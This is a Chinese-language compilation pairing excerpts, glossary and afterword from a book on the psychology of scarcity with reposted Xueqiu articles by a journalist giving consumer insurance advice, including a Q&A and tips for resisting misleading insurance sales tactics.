　　“管窥”这一词语指的是人们的视野会因稀缺问题变得狭窄，形成管窥之见，即只能透过“管子”的孔洞看清少量物体，而无视管外的一切。 20 关于摄影技术，苏珊·桑塔格（Susan Sontag）曾写过这样一句名言：“摄影就是将景物装入框内，而框入一些东西就意味着其他景物会被排除在外。” 21 管窥就是人们对这种体验的总结与融汇。

内源性思考（internal thought）

　　即便在大脑中重复一连串数字这种小事也会对人的总体认知能力产生深远影响。

前摄干扰（Proactive interference）

　　当我们心里想着其他事物时，就会将其置于思想的中心，而产生忽略行为。

认知能力（cognitive capacity）

　　它是我们解决问题、获得信息、进行逻辑推理等能力背后的心理学机制。认知能力中最突出的就是“流体智力”，即在进行抽象思维和推理时，在无须特定学习或体验的情况下解决问题的能力。

执行控制力（executive control）

　　其作用存在于我们管理自身认知能力的过程中，包括计划、关注、发起并抑制行为和控制冲动等。

权衡式思维（trade-off thinking）

　　它是由稀缺所引发的一种思维方式。在稀缺状态下，因为所有没有被满足的需要俘获了我们的大脑，以致我们开始对之念念不忘，开始产生决策难题。

余闲（slack）

　　就是我们在拥有很大空间、不存在稀缺心态时的产物，也是我们在资源丰富时进行资源管理的特定方式。

借用（borrowing）

　　当人们面临资源稀缺时，就会通过借用相应的时间或金钱来应对突发事件。从长远来看，借用会进一步加剧稀缺。

现时偏见（present bias）

　　人们会将未来的利益作为代价，过高地估计即刻的利益。

稀缺陷阱（scarcity trap）

　　就是某人的行为有助于稀缺形成的一种情况。

引用

　　没有什么就嚷嚷什么，越没有就越嚷嚷，这是我们在日常生活中经常会看到的现象。两位作者将我们的直观感受上升到了理论高度，提出了稀缺会导致认知障碍的观点。他们的研究给我们带来的启发是：如果你想要什么，不要等急需的时候才去要，而要提前积累。

　　李淼

　　著名物理学家，中山大学教授

　　房子不过是一堆东西上面加了个盖子。 13

　　——乔治·卡林（George Carlin）

　　霍布斯：你构思好要写的小说了吗？

　　卡尔文：创造力可不像水龙头，说开就开。你得找到适当的情绪才行。

　　霍布斯：什么样的情绪是适当的？

　　卡尔文：紧要关头的恐慌。 1

　　——比尔·沃特森（Bill Waterson）

　　《卡尔文与霍布斯虎》作者

贫穷始于富足

　　我们可以认为，小贩们之所以会重归稀缺陷阱，是因为那些打击到他们的突发事件，但我们也能将问题归咎于缓冲机制的缺乏。既然他们知道自己生存于动荡之中，那么为什么不在经济宽裕的日子里存点钱以备不时之需呢？印度街头的小贩们并非唯一犯下这种错误的人。世界各地穷人们的活期存款都太少了。我们之前讲到过，研究报告显示，美国人一般认为，如果他们遭遇了紧急情况，那么自己根本无法在 30 天内筹到 2 000 美元。 12 数据也显示，手头活期存款较少的穷人更容易遭受突发事件的打击。

　　我们可以这样来看：小贩们的问题远在突发事件发生之前就已经存在了，稀缺陷阱的种子也早在资源相对充裕的阶段就已经被种下了。而且，同种情况也会随着事件的发展而出现。你热火朝天地赶着工作，但还是赶不上进度。你的生活非常苦闷，你暗自发誓，这辈子再也不做这类事情了。截止日期过去了，你终于爬到了陷阱的边缘，喘了口气。此时，距离下一个截止日期还有几周时间。谢天谢地，现在你终于可以放松一下了。几周之后，你想不明白时间都去哪儿了。再一次，你开始加班加点地工作。就像小贩们面临的稀缺一样，你的稀缺来自资源相对充裕阶段时所犯下的错误。

　　在资源充裕阶段，我们会浪费时间与金钱。我们太过松懈了。在第 2 章中提到的收获研究中，农民们在收获之前很穷，但他们本可以避免这种境况。如果他们能在收获之后更好地管理金钱，就不会在收获之前发现自己兜里没钱了。他们之所以在收获之前穷困潦倒，只是因为他们在金钱充裕时没能很好地进行财务管理。这与穷人借用的问题不同，而是关于金钱充裕时的浪费行为。浪费的结果就是，资源充裕的阶段紧跟着备受稀缺威胁的阶段，如此周而复始。但是，这种情况是完全可以避免的。

　　到目前为止，我们一直在讨论由稀缺心态所导致的问题。我们会产生管窥之见，我们会有所忽视。我们的带宽有了负担，缺乏远见，更为冲动。所有这些可能都会让人认为，在资源充裕阶段，我们会精打细算，充满远见卓识。事实当然并非如此。数十年的研究显示，在资源最为充裕的时期，而且特别是在这样的时期，我们尤其容易犯下拖延的毛病。拖延，就是对眼下之事的过分关注，是阵发性的盲目乐观。我们将需要去做的事情搁置起来；我们将本应存下的金钱挥霍出去。我们错误地分配了自己充裕的资源，存储下来的金钱和做完的事情太少，无法免于那些可能威胁到我们的稀缺。富人和穷人一样，都会犯拖延症：富人因为拥有余闲，所以不会受到什么打击；而穷人和忙碌之人由于拥有的余闲太少，只要一遇到突发事件，就会立刻落回稀缺陷阱之中。

　　远离稀缺陷阱的威胁，需要的不是充裕的资源，而是足够充裕的资源 ——就算我们乱花钱，做事一拖再拖，还是有足够的余闲去应对绝大部分突发事件；如果拥有足够充裕的资源，就算长时间的拖延，我们还是有时间去管理预期之外截止日期的到来。远离稀缺陷阱的威胁，需要拥有足够的余闲去应对这个世界中林林总总的突发事件，去应对我们给自己制造出来的诸多麻烦。

　　将所有这些内容联系起来，我们就能明白，稀缺陷阱的出现，背后有着几个相互关联的原因，而最核心的问题还是稀缺心态。管窥致使我们借用，这样我们就可以用更低效的方式使用同样的实体资源。因为管窥和忽视，我们最终落入了杂耍的境地。稀缺陷阱成了一场无比复杂的事件，一张由到期未完成的任务和代价高昂的短期解决方案拼凑而成的补丁图，而其中的诸多细节，需要我们不断地回顾，不断地修正。我们没有足够的带宽去制订挣脱陷阱的方案。当我们做计划时，也没有足够多的带宽去抵御诱惑、坚持不懈。而且，余闲的缺乏，也意味着我们没有能力去平息突发事件。由于我们无法在资源充裕阶段利用宝贵的时间为未来创建出缓冲机制，所以事态就会进一步恶化。

改变心态，逃离稀缺陷阱的唯一希望

　　穷人会一直贫穷下去，而孤独者也注定会继续形单影只；繁忙之人永远会日理万机，而节食者的计划也总是会以失败告终。稀缺造就了一种心态，而这种心态会令稀缺长存。如果这种说法让你觉得太过残酷，那么就来看看另一种观点：穷人之所以贫穷，是因为他们缺乏技能；孤独者之所以孤独，是因为他们不受人欢迎；节食者之所以失败，是因为他们缺乏意志力；繁忙之人之所以整天忙碌，是因为他们没有能力过上井井有条的生活。这种观点认为，稀缺是深层次个人问题所引发的后果，很难改变。

　　相比之下，稀缺心态是环境造就的结果，更有可能通过一些措施来加以改变。稀缺并非个人特质，而是自身创造的环境条件所引发的结果，而这些条件是可以进行管理的。我们越是深入了解稀缺在大脑中的发展历程，就越有可能找到办法去避免稀缺陷阱，或至少去减轻稀缺陷阱的影响程度。

经济学研究稀缺，但不触及心态

　　当我们向一位经济学家同事谈到我们正在研究稀缺这个问题时，他说：“有一门学科就是关于稀缺的，你可能也曾听说过，它就是经济学。”他当然没有错。经济学，是一门研究如何利用有限方式去实现无限愿望的学科，一门研究人与社会应该如何对实物稀缺进行管理的学科。如果你花钱买了一件新外套，就没有那么多钱外出用餐；如果政府在前列腺癌的实验性手术研究中投入过多资金，就没有那么多资金用于公路安全领域。许多人都会忽略“权衡”的存在（我们的理论有助于对这种忽略进行解释）。还有一些经济学观点认为，价格是对实物稀缺的反映，有时这种反映会以令人意想不到的方式表现出来。

　　19 世纪时，欧洲的古生物学家在中国就为此付出了代价——为了寻找稀有的恐龙骨骼化石，古生物学家们为可以提供化石碎片的村民发放金钱奖励。结果，化石碎片的供给量大幅上升：村民们一找到化石，就会将其敲成碎片，以增加可以销售的碎片数量。而这种结果并不是古生物学家们的初衷。

大脑自由才能成为合格家长

　　有一项关于父母养育子女的研究，是以空管员为研究对象的。 23 研究之所以会对空管员感兴趣，是因为他们的工作内容每天都有所不同，有时还会处于高度紧张的状态中。某些日子里，空中会有许多需要管制的飞机——天气条件非常糟糕时，等待起飞的飞机就会排起长队，频频延误。每当赶上这种日子，空管员的认知负荷就会变得非常高，他们会长时间地专注于让所有飞机安全降落这一件事上。在另一些日子中，空管员的工作节奏可能会稍微慢下来——空中没有那么多飞机，脑子里也没有装那么多“飞机”。研究人员发现，根据某一天空中飞机的数量，他们就可以预测当晚空管员养育子女的水平。飞机越多，为人父母的水平就会越低。用一个世俗一点的比喻来讲就是，同样一位空管员在轻松地工作了一天之后，就会表现出“中产阶级”的样子；而在辛苦工作了一天后，就会落入“贫困人民”的队伍。

　　你肯定也曾有过类似的体会。累得要死的一天结束后，你就想在家里安安静静地休息一会儿，可孩子们却在兴致勃勃地看动画片。电视机的声音没有那么大，但足够吵到你脆弱的神经。你恳求孩子们把电视机关了，心下暗自庆幸自己的语调还算柔和。但孩子们却回答说，现在是他们看动画片的时间。你曾经答应过，如果他们做完作业，就可以在这个时间段看电视，而且他们的确也已经把作业做完了。你迟疑了片刻，但噪声还是太大了。于是你爆发道：“赶快把这个破玩意儿关了！”后来，你对此感到懊悔。你也不想这样对待可爱的孩子们，可就是无法控制自己。

　　而且，你不开心的理由也很充分。虽然针对养育子女的研究有着形形色色的说法，但从中脱颖而出的几种非常优秀的观点都非常具有直观性。在对父母养育子女的建议中，最重要的就是始终如一。如果家长们在教育孩子们的说法和行动上前后不统一，那么孩子们要面对新事物时就会觉得很难，很容易焦虑，无论是在学习规矩和行事方式，还是在寻找安全感上。但这些话说起来容易，做起来却有难度。做一位合格的家长不容易，就算你知道自己应该做什么，有时也很难做到。始终如一、前后一致、持之以恒，需要父母对孩子们给予持续的关注、不断的努力以及坚定不移的信念。

　　良好的教养水平需要足够的带宽、复杂的决策能力和自我牺牲精神。你需要调动孩子们的积极性，去做他们不喜欢做的事情；你需要带着他们去看医生，为他们规划各种活动；你需要和老师谈话，贯彻学校的建议；你还需要为孩子们辅导功课，或者请其他人帮忙辅导功课，自己在一旁监督。不管对谁来说，这些事情做起来都不轻松——无论资源多少都一样。而当你的带宽减少时，这些事情的难度就会加倍。在面对孩子的那一刻，你没有办法表现得耐心，做不到你深知的正确之事，因为你的大脑此时根本就不够自由。这也就是空管员在一天的繁忙工作之后，回到家里就再也没有办法做一位称职的家长的原因。

　　穷人自有自己“领空”里需要管制的“飞机”。他们周旋于房租、贷款、迟还的账单之间，还要算着日子等待下一笔收入。他们的带宽在管理稀缺的过程中，已经用尽了。就像脑子嗡嗡作响的空管员一样，穷人也有着相同的体验。一位旁观者如果不了解空管员白天忙成什么样，肯定会认为这位家长缺乏教养能力。

摘录

　　专注具有积极意义：稀缺会迫使我们专注在迫近的重要事情上；管窥则是消极的：稀缺导致我们有了管窥之见，让我们忽略了其他可能更重要的事情。

　　研究显示，开车时通过非手持移动电话进行通话的情况，可能比酒驾还要危险。 32 我们也会想到边开车边吃三明治的司机。研究显示，开车时吃东西的后果同样很严重。 33 很多人都有过边开车边吃东西的经历：一项研究发现，41% 的美国人都曾经在开车时吃过一顿饭，包括早餐、午餐和晚餐。 34 边开车边吃东西虽然可以节省下一些时间，但却让车主们承担了额外的风险，如把车弄脏、出交通事故，甚至在分心时摄入更多的卡路里。 35

　　纽黑文市的一所学校位于繁忙的铁道旁边。为了评估噪声对学生学习成绩的影响，两位研究人员经过调查发现，学校的建筑物只有一面朝向铁道，而这一面教室中的学生就最直接地暴露在了火车的噪声之中，这些学生其他方面则与别的同学无异。调查显示，位于学校两侧教室中的学生有着很大的不同：铁道一侧的六年级学生，比安静一侧的同年级学生在学业表现上落后了整整一年。 2 研究结果出来后，市政府为此还专门安装了噪声隔离设备——这又为研究人员提供了新证据。他们发现，在噪声隔离设备安装好之后，学生之间的差距消失了。现在，建筑物两侧学生的学习成绩基本相当。随后进行的一系列研究显示，噪声会影响专注力和学习成绩。就算噪声会造成负面影响这一点不足为奇，那么这一负面影响的程度（六年级学生整整落后一年）也会令人感到惊讶。事实上，许多研究都得出了微量干扰即可产生巨大影响的结论，而这一案例只是其中之一。

　　贫穷会成为心智的负担。就算没有实验人员去提醒稀缺的存在，贫穷状态也会削弱流体智力和执行控制力。回到我们最初讨论的话题，这种结论就意味着，针对穷人认知能力的讨论有了重大转变。我们现在认为，穷人的“有效”能力的确比富人要弱一些。这并不是因为穷人的能力差，而是因为他们的一部分大脑早已被稀缺所俘获了。

　　现在来看一个关于时间的例子。在一项研究中，心理学家们请了一些大四学生来对完成毕业论文所需要的时间进行预估。 20 最后，他们预估的平均时长是 34 天。当研究人员问到所需要时间的最好情况和最差情况时，学生们普遍认同的是，27 天（如果一切顺利）到 48 天（如果诸事不顺）都有可能。而实际上，学生们完成论文的平均时间是 55 天。当然，这并不是缺乏经验的大学生们所犯下的无知错误，而是每个人都有可能会经历这样的计划谬误，从经理人到制片人，谁也逃不掉。我们所有人都会对未来的计划抱有乐观的态度。就连顶尖的象棋选手都会给开始的几个回合分配过多的时间，以致在后来陷入时间紧迫的麻烦。 21

　　从这个意义上来讲，余闲的概念深入到了稀缺心理的核心。拥有余闲，我们就会拥有充裕的感受。余闲不仅仅意味着低效，更是一种奢侈的心理享受。充裕不仅能让我们购买更多的商品，也会给予我们随意装箱的奢侈享受、不用动脑筋的奢侈享受以及犯了错误无所谓的奢侈享受。就像亨利·大卫·梭罗曾说过的那样，“一个人的富有程度，与他所能舍弃之物的数量成正比”。 25

　　对于穷人来说，这就意味着烦琐的财务人生。《穷人的投资组合》（Portfolios of the Poor ）一书中进行的详细研究显示，平均来讲，穷人会使用 10 款完全不同的金融产品。 6 在孟加拉国，一种短期零利率贷款产品在一年间有 42 户家庭使用了 300 多次。任何时候，调查中的穷人都会同时欠与被欠着好几笔钱，而这一借贷行为在经年累月的管窥心态下，为了解决当下最紧要问题而被织成了一张凌乱的补丁图。

　　所有这些严酷的事实说明：我们要深化对稀缺的认识。稀缺并不仅仅是资源和寻常欲望之间的鸿沟。就算在许多日子里都能享受到余闲，但真正重要的，还是那些忍耐稀缺的日子，就像街头小贩们的例子一样。为了远离稀缺陷阱，仅拥有比寻常欲望更多的资源是不够的。我们要拥有足够的余闲（或其他一些机制），以去应对任何时候都有可能突然出现的重大事件。社会科学家，特别是经济学家，很早就了解到不确定性会对结果产生巨大的影响。我们知道，不确定的回报会减少投资，不确定的收入会让人焦虑、迟疑。而我们目前的讨论是，从另一个视角在稀缺的大环境中看待不确定性和不稳定性。这种视角认为，阶段性的稀缺会引发一些行为，而这些行为最终会将我们拖回稀缺陷阱之中。在稀缺陷阱之中，如果某个资源充裕的阶段不时地被稀缺所打断，那么其很快就会演变成一种永恒的稀缺。

译者后记

　　稀缺和理性经济人是传统经济学的两大基本假设：资源是稀缺而有限的；人具有完全的理性，可以做出利益最大化的选择。

　　有意思的是，如果把本书的观点总结为一句话，正是对这两大基本假设的一次重新审视——过度的稀缺会导致人的非理性，从而进一步加剧这种稀缺。再深究下去，这是不是意味着传统经济学两大假设之间存在着明显的冲突呢？

　　人的“有限理性”理论早在 20 世纪兴起的行为经济学中就已出现，并在社会生活中得到了应用。而《稀缺》一书的许多观点和案例也可以看作行为经济学的一种应用：缺钱（或时间）会对人的心理产生影响，让人做出错误的决策，从而变得更缺钱（或时间）。既然我们知道这个规律，何不针对性地设计制度，来防止人们继续犯错呢？例如，将“每个人一生中只能享受 5 年福利救济”的政策改为“每个人一生中只能享受 6 年救济，其中每年里能享受 8 个月”。再如，从手术室资源严重不足的医院里再辟出一间手术室，不安排计划内手术。站在完全理性的假设角度，这些举措都是低效且不合理的，但如果将稀缺对人的心理影响考虑在内，这些做法却能取得更好的成效。

　　不仅如此，本书的观点和案例还能扭转人们对“穷人”的一些偏见。穷人之所以会长期贫困，不一定是由于智力或努力程度的问题，而有可能是稀缺造成的恶性循环。这在当前强调消除贫富差距、 “走共同富裕”的中国，也有非常积极的社会意义。

不可不知的保险常识

1．专业人士教你如何做好保险规划

　　雪球访谈，雪球精品栏目，发布于 2014/07/22

　　原帖链接：http://xueqiu.com/talks/item/20122085

　　本文为球友「张翼轸」做客雪球访谈实录

　　问：对于我们这种刚刚结婚不久的年轻夫妇应该买什么险种？意外险配合重疾险？顺便问一下是国内保险公司好一点？还是国外的？您有什么好的推荐么？

　　答：意外险，然后寿险，然后重疾险。我自己以泰康为主。

　　问：年龄 28 岁，已婚，孩子 8 个月，保险情况夫妻双方是平安万能险，年缴费各 4000 多，孩子是保险卡，含有重疾意外伤残以及寿险，这样的配置是否合理？

　　答：用万能来附加重疾和寿险么？这是个不错的思路，保额看下是否够。建议再加一个 50 万的意外险，每年 300 元不到，比如泰康或者国泰的。

　　问：十几年前，父母朋友介绍我买了一份意外身故保险，每年保费 1200 左右，保额 10 万，要交 20 年，总感觉钱交了就没了，不像有的保险多少年以后还还本+少量利息，早知道不如买后者，既有保障，又有返还。不知道我这种理解对不对啊？请教了。

　　答：如果你选择返本的，那么保费要翻倍好几个呢。等于是你多交的钱赚来的利息帮你交保费，不会有便宜事情的。

　　问：我有两份重大疾病险，一份是年缴 1 万，另外一份是月缴 1400……请问是不是应该去掉一份？有必要弄两份吗？当初听保险业务员推销买的。

　　答：关键是你获得的保额是多少，很多返还型虽然年缴保费不少，但是保额并不高。个人觉得，30 万左右的保额一般也就够了。

　　问：给孩子买保险还是把钱拿来买理财产品？哪个划算啊？

　　答：你得先给父母买足保险，尤其是寿险。如果父母出意外，没有照顾孩子的收入来源，这个才是重大的损害。至于小朋友，寿险之类其实未必需要，说的难听点，小朋友的意外过世，对于家庭经济收入并无影响，而且保监会也有投保上限，大城市不过 10 万元。不过小朋友的重疾倒是可以投保。至于说保险还是理财产品，一个保障一个投资，不能比较啊！

　　问：对于保险我也很疑惑，为什么看了很多理财产品，算来算去，都感觉还是自己理财合算呢？

　　答：保险就买纯保障型的，要么是网销的高息万能险。那些分红或者返还型的，对于有一定水准的投资人，的确是渣——要么隐含收益率太低，要么实际操作机率不高。

　　问：三口之家如何买保险，50 岁的夫妇买什么保险好？

　　答：50 岁的夫妇，在我看来已经是应该依赖自身储蓄对抗风险的时候，这时候除了意外险外，寿险重疾的费率都开始极为昂贵了，而出险概率越来越高。所以买保险对冲意外风险，更多应该是年轻人的事情，保费低，保额高。

　　问：快四十的人，上有老，下有小，应该购买什么保险，能具体到具体保险项目吗？谢谢！

　　答：首先买意外险，规避意外和残疾；其次是寿险，规避各类病故；最后是重疾，规避重大疾病对于经济的损耗。此外旅游等可以追加旅游意外险和航意险。收入高的人，需要搭配的保额也更高。

　　问：一直困惑的是不知什么保险产品能够抵御通胀，不管是保障老年的生活，还是重大疾病。例如现在投保重大疾病险，如果保障有几十万甚至上百万，目前是够诊治大病了。但几十年后，由于通胀的原因，也许这点钱啥也干不了，根本就起不到保障作用了。望能解惑，谢谢。

　　答：我觉得投保几十年重疾本身就未必是好的思路。我始终坚持，年轻时候储蓄少，需要通过保险对冲各类风险，而且那个时候费率便宜，低保费就能获得高保障。等到五十岁上下，子女大半成年，收入也逼近临退休期，这时候更应该依靠储蓄来防范疾病的风险，高额保险未必是好选择——当然，真的一定要高保障，到时候可以追加保额啊！

　　问：面对广州 301 路这种公交纵火事件，买哪类保险比较好？

　　答：意外险，尤其伤残也保。其实吧，这类恶性事件，政府往往还有补助。只要不定义为恐怖袭击，不会除外。而且中国国情，遇到这类事故，一般保监局都会要求保险公司“寻找理赔的理由”，很讲政治的。

　　问：什么类型的保险相对来说性价比高？上有老下有小的。

　　答：最高的当然是意外险，不受年纪影响，均衡价。而且几百元就有 50 万保额，绝对是入门级必选保险啊。在此基础上再增加寿险和重疾险。

　　问：我父母都年超 50，考虑到今后怕有大病不堪负重，当前如何选择重大疾病医疗保险？

　　答：许多性价比高的重疾恐怕都不会接受 50 多岁的投保人了。这个更多只能靠自己的储蓄来应对了。即使有个别接受，保费恐怕也是相当的高。

　　问：对车险而言，哪些险种是保险公司常常用来忽悠投保人的？网上购买车险有优惠，但在理赔方面是否存在很大麻烦？

　　答：车险的忽悠还是比较少的。网上购买车险不会对理赔有影响，不同部门，一个销售一个理赔。理赔是一视同仁的，不考虑哪里投保的。

2．保险防忽悠手册

　　张翼轸，《新闻晨报》证券记者，发布于 2013/8/8

　　原帖链接：http://xueqiu.com/3559889031/24748934

　　保险投诉络绎不绝，很大程度上来源于保险营销人员在销售过程中的“忽悠”行为。在保险公司内部的培训过程中，往往会提供一套“话术”，告诉营销人员在面对客户的询问时如何向有利于保险公司的方向引导。代理人经过这样的培训，以有心算无心，以专业算业余，保险消费者自然容易上当，成为“忽悠”的受害者。

　　正因此，投保人应当以彼之道还施彼身。

　　如何在并不懂太多保险的前提下让代理人觉得你是个内行而不敢轻易忽悠你，同样需要一套“话术”。一本《“防忽悠”话术手册》，就是力争让投保人在与保险营销人员的斗智斗勇中能够塑造一个专业的形象，让营销人员知道他的推销对象不是那么好“忽悠”的。

话术一：询问展业证号码

　　遇上陌生的保险营销人员向你推销保险产品，不妨先向其索要展业证号码，并且表示“先要查询一下你的诚信记录，再做决定”。

　　所谓展业证，即“保险营销员展业证”，这是保险营销人员从业必备的一个证书，包含了个人及所属公司的一些基本信息。所以遇上保险营销员，不妨先要求其出示展业证原件，确保其真正具有保险推销资格；在对此确认后，不妨再索要名片，并确认上面印有展业证号码，以备不时之需。

　　有了展业证号码之后，投保人可以通过访问 http://www.mycredit.cn:8080/bxcx 来查询其诚信纪录，查看其是否有不良记录。

　　虽然展业证对于每一个保险营销人员而言是必备的证件，但是绝大多数投保人并不知晓这一证件的存在。所以你一开口索要此号码，先可以先声夺人让对方知晓你不是保险外行，而查询诚信记录的要求更能让其知道你对代理人的监督投诉机制并非毫不了解。

　　事实上，记者曾经接到过保险营销人员通过电话来推销，只不过问了一句“你展业证号码多少”，对方就知道撞了铁板，忙不迭地挂了电话，可见此句杀伤力绝对不小。

话术二：表示要全程录音

　　无论是在银行遇上银保营销人员还是遇上上门推销的个险营销人员，在问完展业证号后，不妨表示自己记性不太好，所以对方介绍产品的过程希望能够录音，以备忘记了可以重听。

　　在这本话术手册中，这一条绝对堪称“大杀器”，即使你其他话术不用，仅用这一条，恐怕也足以迎刃有余。

　　绝大多数擅长“忽悠”的代理人，绝招就是通过言语误导等方式让投保人对保险产品产生错觉，反正口说无凭，就算推销时候把收益率说的高了点或者把赎回条件说的优惠点，只要保单签约生效了，投保人口说无凭，对于这种“忽悠”也是投诉无门。

　　但是，作为投保人一旦全程录音，就意味着哪怕依旧被忽悠了，但是未来就有了投诉的证据。在这样的情况下，营销人员就要掂量掂量，恐怕未必敢肆无忌惮地误导了。当然，真正诚实可靠的营销人员，必然是不怕你录音的，而那些对此有所抗拒的代理人，恐怕多半是心中有鬼的——这样的代理人，自然是避之不及。

话术三：索要产品资料保险

　　营销人员，推销靠得就是那张嘴，但是最靠不住的，也就是那张嘴。在实际业务中，接触到过不少代理人往往喜欢口头向你介绍某保险产品，至多在一张白纸上写几个数字帮助你理解。殊不知，在这个过程中，就存在了忽悠的空间。口说无凭，但是白纸上的几个数字同样也做不了凭证，因为真正影响保险产品优劣的一些细节关键词，擅长忽悠的代理人是必然不会写下来的。

　　正因此，务必要向代理人索要由保险公司印发的官方宣传单张，同时也不妨通过查看单张的印刷质量、设计风格等来判断这是否会是代理人自行印刷的“山寨”单张。保险公司印发的官方宣传单张受到监管部门的监督，信息一般均可靠，但是代理人自行印刷的一些“山寨”单张，往往就是只挑好的说，而对于一些不利于推销的敏感信息则全部避而不谈。

　　正因此，遇上推销保险产品，务必索要官方宣传单张来细细研究，不见可靠的书面介绍文字，切不可因为营销人员的口头表达而轻信投保。

话术四：强调犹豫期保障

　　在与保险代理人的沟通过程中，投保人不妨强调下自己的“犹豫期保障”权利，比如可以这样说“这个保险麻烦你说得清楚一点，万一我买了才发现不是自己需要的产品，然后在犹豫期退保，岂不是又要麻烦你了”。

　　所谓犹豫期，是指投保人、被保险人签收保单后十日内，无论什么原因，都可以无条件要求保险公司退保。一年期以上的人身保险产品都赋予投保人“犹豫期”的权利。凡“犹豫期”退保的，保险公司只收取工本费。这一权利，也是保险营销人员理当告诉投保人，但事实上许多投保人所不知的。正因此，你主动向代理人强调自己的这一权利，也是在暗示其自身是懂保险的内行人，让其不要“乱忽悠”。

　　当然，犹豫期的权利，绝非只是嘴上说说。即使你投保之后，只要对保险条款或者产品有一丁点的犹豫，都不妨先行使犹豫期权利退保——即使事后发现这的确是款好产品，大不了重新投保就是了，当中也不过损失点工本费而已。若代理人在你犹豫期退保时向你强调这是限量销售很快就要停售的产品，大可不必当真。的确保险产品在销售过程中部分产品会有销售期限，但是并不等于这就真是千载难逢的好产品，更多只是一种营销伎俩。错过会后悔的保险产品，保险市场上真的屈指可数，就记者的观察，过去五年内这样的产品也不过三四款而已。

话术五：询问退保最坏情况

　　近些年，分红险是保险“忽悠”的重灾区，自然也是投诉的重灾区。究其原因，就在于分红险往往保费金额较大，而其产品结构决定了若是期交型产品，投保一年至两年退保，往往会出现 20% 至 50% 所有的保费损失，这显然让许多投保人难以接受。

　　营销人员，对于推销重头戏的分红险，往往也是报喜不报忧，只说收益如何如何诱人，却不提退保时可能出现的损失情况。

　　正因此，在与营销人员打交道的时候，遇上分红险、万能险或者投连险等投资类保险的推销时，务必要问清楚假如未来 1 年或者 2 年内退保，能拿回多少保费——一般来说，在保险公司印发的官方宣传单页上，收益演示表中也会有相关信息，不妨和营销人员的表述对照着看。

话术六：询问保证收益情况

　　还是说分红险，保险代理人在“忽悠”时往往把分红险说得天花乱坠，说成是银行存款的最佳替代品。对于这样的“忽悠”，投保人不妨以不变应万变：请记住，分红险的保证收益部分一般都在 1% 出头一点，几乎不可能超过 2%。

　　遇上代理人向你推销分红险，不妨问起这款产品的保证年化收益大概能有多少？

　　如果任何一个代理人告诉你这款分红险保证每年可以有 4% 甚至 5% 的保证回报，那么要么是其在利用某种条款的假象忽悠你，要么就是其自身对于这款产品也不了解，而无论是哪一种情况，这显然不是一个适合销售分红险这样结构复杂产品的代理人，投保人自然是不要从其手中购买分红险为佳。

话术七：强调只要免费产品

　　眼下，保险的电话营销也越来越热络，其中也不乏“陷阱”。一个常见的剂量就是先表示要向老客户赠送一款其实保费很便宜的短期保险，然后又顺带推荐一款保费较贵的保险，由于是电话推销，没有书面文字，时间一长往往会把接电话者搞得晕头转向。这时电话营销员询问你是否需要这款保险时，营销人员问的是收费的保险，但是很多人却会以后是在问免费的保险，于是便答应了。

　　所以，遇上这种电话推销，不妨要求其将产品资料邮寄给你，仔细研究再做定夺。当然，若遇上营销人员继续喋喋不休的推销，不妨来一句“你们送的不花钱的保险我要的，要花钱的保费一概不要”，便可将保险公司送免费同时推销收费保险的伎俩轻松化解。

3．怎么投保最省钱

　　张翼轸，《新闻晨报》证券记者，发布于 2012/10/15

　　原帖链接：http://xueqiu.com/3559889031/22312869

　　六月，对于应届大学生而言，是吃散伙饭，准备踏上职场生活的日子。工作，不仅意味有了收入，也意味着更多的责任。本着对自己对父母负责的态度，拥有一份保险无疑是一种可取的态度。不多，刚刚踏上工作岗位，绝大多数人的收入都有限，尤其是“新上海人”，房租餐费七七八八扣掉后也就剩不下多少了，而许多保险高昂的年缴保费往往让人望而却步，这也是许多人没买保险的关键原因。其实，对社会新鲜人而言，以合理的投保策略购买合适的保险很重要，这样才能以尽量少的保费支出过得尽可能多的保障。

投保省钱四大思路

　　对于可供支配收入有限的社会新鲜人而言，怎么投保才能省钱呢？

　　减少投保的险种抑或降低保险的保额，这是许多人正在采用但却是极不可取的方式。如果投保人的确囊中羞涩，而且购买的保险产品已经是最优化最便宜的话，上述的做法的确无可厚非。但事实上，许多社会新鲜人往往因为不正确的保险理念或者代理人的误导，购买了不适合自己的保险从而造成保费开支过高——对于这样的情况，更改保险产品优化结构才是关键。

　　对于社会新鲜人，本着节省保费的目的，选择保险产品当遵循以下思路：

　　1．以重大风险防御为主。如今保险产品很多，针对的风险也是五花八门。由于经费有限，所以我们要把钱用在刀刃上，以重大风险为主。什么是重大风险，诸如意外身故、残疾或者罹患重大疾病，这些对于自身以及家庭无疑都是致命性的打击，要么意味着没有了收入来源，要么意味着巨额的医疗开支，这类风险需要重点防范优先考虑。而至于传统的医疗报销或者医疗补偿，几百或者几千元的医疗费用相比就算不上致命性的打击，就可以放在上述保障完备且有余力的前提下才考虑了。

　　2．不考虑返本类保险。许多人不愿意为保险花钱，因为他们觉得一旦没有出险保费就打水漂了。所以这类人购买保险，往往会选择返本型的产品，一旦没有出现所有保费全部返还，心理上要好受许多。但是，返本是有代价的，那就是保费的大幅增加。返本型保险，说到底不过是一份投资产品+一份保险的组合。假设某保险年保费是 100 元，市场收益率是 4%，那么要将此款产品设计成返还型，保险公司就会问你收取 2600 元保费，用其中的 100 元直接购买原来的那款产品，然后将剩下的 2500 元为你赚回这 100 元。对于社会新鲜人而言，购买返本型保险，保费压力会相当大，迫使你降低保额，这无疑是不可取的。

　　3．缩短保障期限。理财要有长期规划。正因此，许多人购买保险时，往往会选择最长的保障期限，譬如终身或者 20 年。但是，这同样意味着年保费会大大增加——由于寿险类产品年龄越大当年保费越高，为了避免晚年投保人缴费压力过大，保险公司往往会采用均衡保费，即最初几年保费会高于实际保费，而后期的保费则低于当年实际保费，早期多收的保费储备着用于后期高保费时垫付，当你选择的保障年限越长，那么就意味着你提前垫付的保费也越多，对囊中羞涩的社会新鲜人而言，无疑是一种浪费。所以，保险期限不妨尽可能的缩短，比如 5 年这样的时间段。5 年过后，也许你的收入水平和经济状况已经有了大幅的改善，这时再考虑长期的规划也不迟。

　　4．选择自然保费保险。虽然 5 年的保障期限相比 10 年或者 20 年而言，初期垫付的保费大大降低，但这终究还是有垫付因素存在的。所以更彻底的策略便是选择自然保费，当年实际保费该是多少就是多少，如此可以将保费开支降到最低。

　　在以上四大宗旨下，下面就将搭建一个基本的投保组合，尝试以尽可能少的保费支出来获得尽可能多的保障。

意外险：纯意外保障即可

　　意外险，可谓是性价比最高的入门型保险。对于社会新鲜人而言，也是第一份保险的最佳选择。选对合适的意外险，可以以很低的保费实现颇高的保障。

